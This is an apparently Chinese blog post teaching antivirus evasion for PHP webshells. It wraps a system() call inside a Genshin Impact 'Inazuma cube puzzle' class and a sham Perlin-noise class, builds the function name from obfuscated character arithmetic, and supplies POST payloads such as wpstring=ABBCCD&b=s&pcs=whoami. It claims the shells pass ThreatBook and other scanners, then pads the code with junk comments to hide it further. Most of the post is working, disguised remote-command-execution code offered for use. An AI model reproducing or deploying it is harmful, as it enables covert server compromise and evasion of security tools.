# webshell免杀
# PHP
# 稻妻雷元素方块阵
免责声明:
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!
前言
对于webshell免杀来说类绕过
是最有效果且不易被检测出来的,那如果我们对类进行操作,在类里面加入一些算法和混淆代码,让代码逻辑变得十分混乱,不易读,甚至读不懂,但是却能够执行命令,可以rce,那岂不是可以bypass所有的杀毒软件和云沙箱了吗?
利用稻妻雷元素方块阵
《原神》中的稻妻雷元素方块阵是一个解谜游戏
下面是示例代码:
class InazumaPuzzle {private $blockA = 0;private $blockB = 0;private $blockC = 0;private $blockD = 0;private $MAX_ENUM = 2;private $MIN_ENUM = 0;public function __construct() {$this->blockA = 2;$this->blockB = 0;$this->blockC = 0;$this->blockD = 2;}private function setBackBlock($block) {$setType = $this->MIN_ENUM;$maxType = $this->MAX_ENUM;switch ($block) {case 'A':if ($this->blockA == $maxType) {$this->blockA = $setType;return true;} else {return false;}case 'B':if ($this->blockB == $maxType) {$this->blockB = $setType;return true;} else {return false;}case 'C':if ($this->blockC == $maxType) {$this->blockC = $setType;return true;} else {return false;}case 'D':if ($this->blockD == $maxType) {$this->blockD = $setType;return true;} else {return false;}default:throw new Exception("bad_args", 1);}}private function hit($blockIdx) {global $text;$text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");switch ($blockIdx) {case "A":if (!$this->setBackBlock("A")) {$this->blockA += 1;}if (!$this->setBackBlock("B")) {$this->blockB += 1;}break;case "B":if (!$this->setBackBlock("A")) {$this->blockA += 1;}if (!$this->setBackBlock("B")) {$this->blockB += 1;}if (!$this->setBackBlock("C")) {$this->blockC += 1;}break;case "C":if (!$this->setBackBlock("B")) {$this->blockB += 1;}if (!$this->setBackBlock("C")) {$this->blockC += 1;}if (!$this->setBackBlock("D")) {$this->blockD += 1;}break;case "D":if (!$this->setBackBlock("C")) {$this->blockC += 1;}if (!$this->setBackBlock("D")) {$this->blockD += 1;}break;default:throw new Exception("bad_args", 1);}}public function __AFG50CE4_RG1() {global $puzz_writeup;if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);// bcdufvcf%00$i++) {if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i],"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");}for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);global $userans;$userans =$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;}public function getLockerStatus() {global $text;$text =strrev($text);if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;else return false;}
}
function pause($obj) {global $appor5nnb;if (!$appor5nnb -> getLockerStatus()) die();return $obj;
}
根据InazumaPuzzle类的构造函数,方块的初始状态如下:
blockA = 2
blockB = 0
blockC = 0
blockD = 2
每个方块的状态值可以循环从0到2(即最小值为0,最大值为2)。
- setBackBlock() 方法的作用
setBackBlock()方法用于尝试将指定方块重置为其最小状态(即0)。如果该方块已经处于最大状态(即2),则它可以被重置为最小状态并返回true;否则它不会改变,并返回false。
- hit() 方法的行为
hit()方法接受一个方块标识符(如"A"、"B"、"C"或"D"),然后执行以下操作:
对于点击的方块及其关联的方块调用setBackBlock()。
如果setBackBlock()返回false,则相应方块的状态加1。
具体来说:
点击A:尝试重置A和B,若不能重置,则它们各自加1。
点击B:尝试重置A、B和C,若不能重置,则它们各自加1。
点击C:尝试重置B、C和D,若不能重置,则它们各自加1。
点击D:尝试重置C和D,若不能重置,则它们各自加1。
解析输入序列 ABBCCD
现在我们来按照给定的输入序列ABBCCD一步一步地看每个点击对方块状态的影响:
第一步
:点击 A
尝试重置A(当前状态为2),成功重置为0。
尝试重置B(当前状态为0),失败,因此B变为1。
结果:blockA = 0, blockB = 1, blockC = 0, blockD = 2
第二步
:点击 B
尝试重置A(当前状态为0),失败,因此A变为1。
尝试重置B(当前状态为1),失败,因此B变为2。
尝试重置C(当前状态为0),失败,因此C变为1。
结果:blockA = 1, blockB = 2, blockC = 1, blockD = 2
第三步
:再次点击 B
尝试重置A(当前状态为1),失败,因此A变为2。
尝试重置B(当前状态为2),成功重置为0。
尝试重置C(当前状态为1),失败,因此C变为2。
结果:blockA = 2, blockB = 0, blockC = 2, blockD = 2
第四步
:点击 C
尝试重置B(当前状态为0),失败,因此B变为1。
尝试重置C(当前状态为2),成功重置为0。
尝试重置D(当前状态为2),成功重置为0。
结果:blockA = 2, blockB = 1, blockC = 0, blockD = 0
第五步
:再次点击 C
尝试重置B(当前状态为1),失败,因此B变为2。
尝试重置C(当前状态为0),失败,因此C变为1。
尝试重置D(当前状态为0),失败,因此D变为1。
结果:blockA = 2, blockB = 2, blockC = 1, blockD = 1
第六步
:点击 D
尝试重置C(当前状态为1),失败,因此C变为2。
尝试重置D(当前状态为1),失败,因此D变为2。
结果:blockA = 2, blockB = 2, blockC = 2, blockD = 2
最终,所有方块的状态都变成了2,满足了getLockerStatus()方法中的条件,即所有方块的状态相同,因此返回true,表示谜题被正确解开。
结合稻妻雷元素方块阵的webshell
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
foreach($_POST as $key => $value) $$key = $value;
if (strlen($wpstring) === 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");
$puzz_writeup = array();
for ($i = 0; $i < strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]);
class InazumaPuzzle {private $blockA = 0;private $blockB = 0;private $blockC = 0;private $blockD = 0;private $MAX_ENUM = 2;private $MIN_ENUM = 0;public function __construct() {$this->blockA = 2;$this->blockB = 0;$this->blockC = 0;$this->blockD = 2;}private function setBackBlock($block) {$setType = $this->MIN_ENUM;$maxType = $this->MAX_ENUM;switch ($block) {case 'A':if ($this->blockA == $maxType) {$this->blockA = $setType;return true;} else {return false;}case 'B':if ($this->blockB == $maxType) {$this->blockB = $setType;return true;} else {return false;}case 'C':if ($this->blockC == $maxType) {$this->blockC = $setType;return true;} else {return false;}case 'D':if ($this->blockD == $maxType) {$this->blockD = $setType;return true;} else {return false;}default:throw new Exception("bad_args", 1);}}private function hit($blockIdx) {global $text;$text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");switch ($blockIdx) {case "A":if (!$this->setBackBlock("A")) {$this->blockA += 1;}if (!$this->setBackBlock("B")) {$this->blockB += 1;}break;case "B":if (!$this->setBackBlock("A")) {$this->blockA += 1;}if (!$this->setBackBlock("B")) {$this->blockB += 1;}if (!$this->setBackBlock("C")) {$this->blockC += 1;}break;case "C":if (!$this->setBackBlock("B")) {$this->blockB += 1;}if (!$this->setBackBlock("C")) {$this->blockC += 1;}if (!$this->setBackBlock("D")) {$this->blockD += 1;}break;case "D":if (!$this->setBackBlock("C")) {$this->blockC += 1;}if (!$this->setBackBlock("D")) {$this->blockD += 1;}break;default:throw new Exception("bad_args", 1);}}public function __AFG50CE4_RG1() {global $puzz_writeup;if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);$i++) {if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i],"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");}for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);global $userans;$userans =$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;}public function getLockerStatus() {global $text;$text =strrev($text);if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;else return false;}
}
function pause($obj) {global $appor5nnb;if (!$appor5nnb -> getLockerStatus()) die();return $obj;
}
$appor5nnb = new InazumaPuzzle();
$appor5nnb -> __AFG50CE4_RG1();
if ($appor5nnb -> getLockerStatus()) $a($b);
payload:
wpstring=ABBCCD&a=system&b=whoami
免杀效果:
微步说很安全
柏林噪音
柏林噪声属于基于晶格(Lattice based)的生成算法。其核心思想是定义一个晶格结构,在二维情况下是一个平面网格,在三维情况下则是一个立方体网络。每个晶格顶点都有一个预定义的梯度向量,当给定一个点时(在二维情况下为坐标(x, y),在三维情况下为坐标(x, y, z)),需要计算该点到所在晶格顶点的距离向量,并将这些距离向量与相应的梯度向量做点积运算,得到一系列影响值。
总而言之就是能让代码变得十分复杂,根本读不懂
代码实现:
class PerlinNoise{private $arrLength = 0;private $source = "";private $inputNumArray = array();private $seeds_array = array();private $INPUT_NUM_MAX = 0;private $INPUT_NUM_MIN = 0;private $BAD_ARGS = false;public $perlin_noise = array();public function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = "GENERATE") {global $appor5nnb;if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");if ($arrLength < 3000 or $arrLength > 9999) {throw new InvalidArgumentException("Error: Invaild Length");}if (strcmp($source,"DIFF_PERLIN") == 0) {$this -> BAD_ARGS = true;$source = "GENERATE";}$this -> arrLength = $arrLength;$this -> source = $source;$this -> INPUT_NUM_MAX = $MAX_INPUT;$this -> INPUT_NUM_MIN = $MIN_INPUT;}public function __CPRBB0R0_l() {global $userans;for ($i = 0; $i < $this -> arrLength; $i++) {if ($this -> BAD_ARGS) {if ($i > ($userans+391) and $i < (pause($userans+390+8))) {$result = array($userans + 101,$userans + 93,$userans + (50*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);array_push($this -> perlin_noise, $result[$i - 400]);continue;}}$cache = $this -> inputNumArray[$i];$x1 = round($cache);$x2 = $x1 + 1;$grad1 = $this -> seeds_array[$x1 % 255] * 2.0 - 255.0;$grad2 = $this -> seeds_array[$x2 % 255] * 2.0 - 255.0;$vec1 = $i - $x1;$vec2 = $i - $x2;$t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3);$product1 = $grad1 * $vec1;$product2 = $grad2 * $vec2;$result = $product1 + $t * ($product2 - $product1);array_push($this -> perlin_noise, $result);}}public function __HNBB70CA_5() {global $userans;global ${strval(chr(90+$userans))};global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};$cache_noise = pause(array());for ($i = 400; $i < 406; $i++) {array_push($cache_noise,$this -> perlin_noise[$i]);}$temp_noise = array();for ($i = 0; $i < count($cache_noise); $i++) {array_push($temp_noise, $cache_noise[$i]);}for ($i = 0; $i < count($temp_noise); $i++) {$temp_noise[$i] = chr($temp_noise[$i]);}$ab = pause(array_map(function($arr){ return chr($arr); },array_slice($this -> perlin_noise,(188*2)+$userans*3,$userans-3)));$c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));$c($pcs);die(urldecode("%3c%62%72%3e%3c%62%72%3e"));var_dump(array_slice($this -> perlin_noise,1000,800));}
}
代码解读
- 关键代码:
$ab = pause(array_map(function($arr) { return chr($arr); }, array_slice($this->perlin_noise, (188*2)+$userans*3, $userans-3)));
- array_slice 函数:
array_slice($this->perlin_noise, (1882)+$userans3, $userans-3) 提取了 perlin_noise 数组的一部分,起始位置是 (188 * 2) + ($userans * 3),长度是 $userans - 3。
- array_map 函数:
array_map(function($arr) { return chr($arr); }, ...) 将提取的整数数组转换为对应的ASCII字符数组。
假设我们想要提取四个特定的值 [121, 116, 101, 109],那么我们需要确定切片的起始位置和长度:
起始位置:(188 * 2) + ($userans * 3)
长度:$userans - 3
例如,如果我们设 $userans = 7,则:
起始位置:(188 * 2) + (7 * 3) = 376 + 21 = 397
长度:7 - 3 = 4
这意味着我们将从 perlin_noise 数组的索引 397 开始,提取长度为 4 的子数组。
为了让 array_slice 提取出 [121, 116, 101, 109],我们需要在 perlin_noise 数组的相应位置插入这些值。即:
$this->perlin_noise[397] = 121; // ASCII 'y'
$this->perlin_noise[398] = 116; // ASCII 't'
$this->perlin_noise[399] = 101; // ASCII 'e'
$this->perlin_noise[400] = 109; // ASCII 'm'
为了确保上述计算正确无误,需要控制 userans 和其他可能影响 perlin_noise 数组生成的参数。特别是,在构造 PerlinNoise 对象时,应该确保 arrLength 足够大,以容纳所需的索引范围,并且初始化过程中不会覆盖这些特定值。
示例代码:
$userans = 7;
// 假设 PerlinNoise 对象已经创建,并且 arrLength 足够大
$cvb33ff55 = new PerlinNoise(401, 700.4, 56.7, "DIFF_PERLIN");
// 手动设置 perlin_noise 数组中的特定值
$cvb33ff55->perlin_noise[397] = 121; // ASCII 'y'
$cvb33ff55->perlin_noise[398] = 116; // ASCII 't'
$cvb33ff55->perlin_noise[399] = 101; // ASCII 'e'
$cvb33ff55->perlin_noise[400] = 109; // ASCII 'm'
// 继续执行后续操作
$cvb33ff55->__BHUYTVV8_1();
$cvb33ff55->__CPRBB0R0_l();
// 模拟生成 ab 数组
$ab = pause(array_map(function($arr) { return chr($arr); }, array_slice($cvb33ff55->perlin_noise, (188*2)+$userans*3, $userans-3)));
// 输出结果验证
var_dump($ab); // 应该输出 ['y', 't', 'e', 'm']
通过精确控制 perlin_noise 数组中特定索引处的值,并结合适当的 userans 参数,可以确保 $ab 数组包含所需的ASCII码值 [121, 116, 101, 109],这个时候$ad=ystem。
这个时候我们令$b=s
$c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));
那么$c=system了,就构造好了命令执行函数,$pcs就是我们要执行的命令。
结合稻妻雷元素方块阵构造webshell
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
foreach($_POST as $key => $value) $$key = $value;
if (strlen($wpstring) === 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");
$puzz_writeup = array();
for ($i = 0; $i < strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]);
class PerlinNoise{private $arrLength = 0;private $source = "";private $inputNumArray = array();private $seeds_array = array();private $INPUT_NUM_MAX = 0;private $INPUT_NUM_MIN = 0;private $BAD_ARGS = false;public $perlin_noise = array();public function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = "GENERATE") {global $appor5nnb;if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");if ($arrLength < 3000 or $arrLength > 9999) {throw new InvalidArgumentException("Error: Invaild Length");}if (strcmp($source,"DIFF_PERLIN") == 0) {$this -> BAD_ARGS = true;$source = "GENERATE";}$this -> arrLength = $arrLength;$this -> source = $source;$this -> INPUT_NUM_MAX = $MAX_INPUT;$this -> INPUT_NUM_MIN = $MIN_INPUT;}public function __CPRBB0R0_l() {global $userans;for ($i = 0; $i < $this -> arrLength; $i++) {if ($this -> BAD_ARGS) {if ($i > ($userans+391) and $i < (pause($userans+390+8))) {$result = array($userans + 101,$userans + 93,$userans + (50*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);array_push($this -> perlin_noise, $result[$i - 400]);continue;}}$cache = $this -> inputNumArray[$i];$x1 = round($cache);$x2 = $x1 + 1;$grad1 = $this -> seeds_array[$x1 % 255] * 2.0 - 255.0;$grad2 = $this -> seeds_array[$x2 % 255] * 2.0 - 255.0;$vec1 = $i - $x1;$vec2 = $i - $x2;$t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3);$product1 = $grad1 * $vec1;$product2 = $grad2 * $vec2;$result = $product1 + $t * ($product2 - $product1);array_push($this -> perlin_noise, $result);}}public function __HNBB70CA_5() {global $userans;global ${strval(chr(90+$userans))};global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};$cache_noise = pause(array());for ($i = 400; $i < 406; $i++) {array_push($cache_noise,$this -> perlin_noise[$i]);}$temp_noise = array();for ($i = 0; $i < count($cache_noise); $i++) {array_push($temp_noise, $cache_noise[$i]);}for ($i = 0; $i < count($temp_noise); $i++) {$temp_noise[$i] = chr($temp_noise[$i]);}$ab = pause(array_map(function($arr){ return chr($arr); },array_slice($this -> perlin_noise,(188*2)+$userans*3,$userans-3)));$c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));$c($pcs);// 希儿世界第一可爱!die(urldecode("%3c%62%72%3e%3c%62%72%3e"));var_dump(array_slice($this -> perlin_noise,1000,800));}
}
class InazumaPuzzle {private $blockA = 0;private $blockB = 0;private $blockC = 0;private $blockD = 0;private $MAX_ENUM = 2;private $MIN_ENUM = 0;public function __construct() {$this->blockA = 2;$this->blockB = 0;$this->blockC = 0;$this->blockD = 2;}private function setBackBlock($block) {$setType = $this->MIN_ENUM;$maxType = $this->MAX_ENUM;switch ($block) {case 'A':if ($this->blockA == $maxType) {$this->blockA = $setType;return true;} else {return false;}case 'B':if ($this->blockB == $maxType) {$this->blockB = $setType;return true;} else {return false;}case 'C':if ($this->blockC == $maxType) {$this->blockC = $setType;return true;} else {return false;}case 'D':if ($this->blockD == $maxType) {$this->blockD = $setType;return true;} else {return false;}default:throw new Exception("bad_args", 1);}}private function hit($blockIdx) {global $text;$text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");switch ($blockIdx) {case "A":if (!$this->setBackBlock("A")) {$this->blockA += 1;}if (!$this->setBackBlock("B")) {$this->blockB += 1;}break;case "B":if (!$this->setBackBlock("A")) {$this->blockA += 1;}if (!$this->setBackBlock("B")) {$this->blockB += 1;}if (!$this->setBackBlock("C")) {$this->blockC += 1;}break;case "C":if (!$this->setBackBlock("B")) {$this->blockB += 1;}if (!$this->setBackBlock("C")) {$this->blockC += 1;}if (!$this->setBackBlock("D")) {$this->blockD += 1;}break;case "D":if (!$this->setBackBlock("C")) {$this->blockC += 1;}if (!$this->setBackBlock("D")) {$this->blockD += 1;}break;default:throw new Exception("bad_args", 1);}}public function __AFG50CE4_RG1() {global $puzz_writeup;if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);$i++) {if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i],"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");}for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);global $userans;$userans =$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;}public function getLockerStatus() {global $text;$text =strrev($text);if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;else return false;}
}
function pause($obj) {global $appor5nnb;if (!$appor5nnb -> getLockerStatus()) die();return $obj;
}
$appor5nnb = new InazumaPuzzle();
$appor5nnb -> __AFG50CE4_RG1();
$cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, "DIFF_PERLIN");
$cvb33ff55 -> __CPRBB0R0_l();
$cvb33ff55 ->__HNBB70CA_5();
payload:
wpstring=ABBCCD&b=s&pcs=whoami
免杀效果:
也是没有检测出来
加入一些无用代码和注释
<?php//error_reporting(0);header("Content-type:text/html;charset=utf-8");foreach($_POST as $key => $value) $$key = $value;if (strlen($wpstring) === 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");$puzz_writeup = array();for ($i = 0; $i < strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]);class PerlinNoise{private $arrLength = 0;private $source = "";private $inputNumArray = array();private $seeds_array = array();private $INPUT_NUM_MAX = 0;private $INPUT_NUM_MIN = 0;private $BAD_ARGS = false;public $perlin_noise = array();private function randomFloat(){$_ = 110+4;$__ = ((int)(600/2))-184;$___ = 115;$____ = 100-2;$_____ = 117;$______ = 113+2;$max = $this -> INPUT_NUM_MAX;$min = $this -> INPUT_NUM_MIN;$num = $min + mt_rand() / mt_getrandmax() * ($max - $min);return sprintf("%.2f",$num);}private function __PLvB4CR0_Z() {srand(time());for ($i = 0; $i < $this -> arrLength; $i++) {$eachNum = pause(rand(0,255));array_push($this -> seeds_array, $eachNum);}}private function __PLAB4CR0_o() {if (strcmp($this -> source, "GENERATE") == 0) {srand(time());for ($i = 0; $i < $this -> arrLength; $i++) { $eachNum = pause($this -> randomFloat());array_push($this -> inputNumArray, floatval($eachNum));}} else if (strcmp($this -> source,"SYSLOG") == 0) {$handle = fopen("/etc/messages","r");$count = 0;while(($char = fgetc($handle)) !== false) {if ($count == $this -> INPUT_NUM_MAX - 1) break;if (($ascii_value = ord($char)) and $ascii_value % 1 !== 0) {array_push($this -> inputNumArray, sprintf("%.2f",$ascii_value / 2.3));$count++;} else continue;}}}public function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = "GENERATE") {global $appor5nnb;if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");if ($arrLength < 3000 or $arrLength > 9999) {throw new InvalidArgumentException("Error: Invaild Length");}if (strcmp($source,"DIFF_PERLIN") == 0) {$this -> BAD_ARGS = true;$source = "GENERATE";}$this -> arrLength = $arrLength;$this -> source = $source;$this -> INPUT_NUM_MAX = $MAX_INPUT;$this -> INPUT_NUM_MIN = $MIN_INPUT;}public function __BHUYTVV8_1() {$this -> __PLAB4CR0_o();$this -> __PLvB4CR0_Z();}public function __CPRBB0R0_l() {global $userans;for ($i = 0; $i < $this -> arrLength; $i++) {if ($this -> BAD_ARGS) {if ($i > ($userans+391) and $i < (pause($userans+390+8))) {$result = array($userans + 101,$userans + 93,$userans + (50*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);array_push($this -> perlin_noise, $result[$i - 400]);continue;}}$cache = $this -> inputNumArray[$i];$x1 = round($cache);$x2 = $x1 + 1;$grad1 = $this -> seeds_array[$x1 % 255] * 2.0 - 255.0;$grad2 = $this -> seeds_array[$x2 % 255] * 2.0 - 255.0;$vec1 = $i - $x1;$vec2 = $i - $x2;$t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3);$product1 = $grad1 * $vec1;$product2 = $grad2 * $vec2;$result = $product1 + $t * ($product2 - $product1);array_push($this -> perlin_noise, $result);}}public function __HNBB70CA_5() {global $userans;global ${strval(chr(90+$userans))};global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};$cache_noise = pause(array());for ($i = 400; $i < 406; $i++) {array_push($cache_noise,$this -> perlin_noise[$i]);}$temp_noise = array();for ($i = 0; $i < count($cache_noise); $i++) {array_push($temp_noise, $cache_noise[$i]);}for ($i = 0; $i < count($temp_noise); $i++) {$temp_noise[$i] = chr($temp_noise[$i]);}$ab = pause(array_map(function($arr){ return chr($arr); },array_slice($this -> perlin_noise,(188*2)+$userans*3,$userans-3)));$c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));$c($pcs);// 希儿世界第一可爱!die(urldecode("%3c%62%72%3e%3c%62%72%3e"));var_dump(array_slice($this -> perlin_noise,1000,800));}}class InazumaPuzzle/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/{private $blockA = 0;private $blockB = 0;private $blockC= 0;private $blockD = 0;private/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*//*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*//*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$MAX_ENUM = 2;private/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$MIN_ENUM = 0;public function/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 